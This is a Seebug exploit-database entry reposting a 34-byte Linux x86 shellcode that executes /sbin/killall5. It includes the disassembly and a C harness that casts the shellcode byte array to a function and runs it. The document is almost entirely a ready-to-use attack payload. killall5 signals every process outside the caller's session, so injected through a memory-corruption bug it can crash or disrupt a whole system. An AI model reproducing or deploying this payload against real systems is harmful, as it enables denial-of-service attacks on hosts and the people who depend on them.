linux/x86 killall5 shellcode 34 bytes

2009-02-05T00:00:00
ID SSV:10569
Type seebug
Reporter Root
Modified 2009-02-05T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*
   Linux x86 | killall5
   Shellcode 34 bytes
   Author: Jonathan Salwan <js.rac.projet [AT] gmail.com
   Web: http://pollydevstorm.zapto.org

   killall5 is the SystemV killall command. It sends a signal to all processes 
   except the processes in its own session, so it won't kill the shell that is 
   running the script it was called from. Its primary (only) use is in the rc 
   scripts found in the /etc/init.d directory.


Disassembly of section .text:

08048054 <.text>:
 8048054:       31 c0                   xor    %eax,%eax
 8048056:       50                      push   %eax
 8048057:       66 68 6c 35             pushw  $0x356c
 804805b:       68 6c 6c 61 6c          push   $0x6c616c6c
 8048060:       68 6e 2f 6b 69          push   $0x696b2f6e
 8048065:       68 2f 73 62 69          push   $0x6962732f
 804806a:       89 e3                   mov    %esp,%ebx
 804806c:       50                      push   %eax
 804806d:       89 e2                   mov    %esp,%edx
 804806f:       53                      push   %ebx
 8048070:       89 e1                   mov    %esp,%ecx
 8048072:       b0 0b                   mov    $0xb,%al
 8048074:       cd 80                   int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

	char shellcode[] = 	"\x31\xc0\x50\x66\x68\x6c"
				"\x35\x68\x6c\x6c\x61\x6c"
				"\x68\x6e\x2f\x6b\x69\x68"
				"\x2f\x73\x62\x69\x89\xe3"
				"\x50\x89\xe2\x53\x89\xe1"
				"\xb0\x0b\xcd\x80";

	printf("Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();
	
	return 0;
}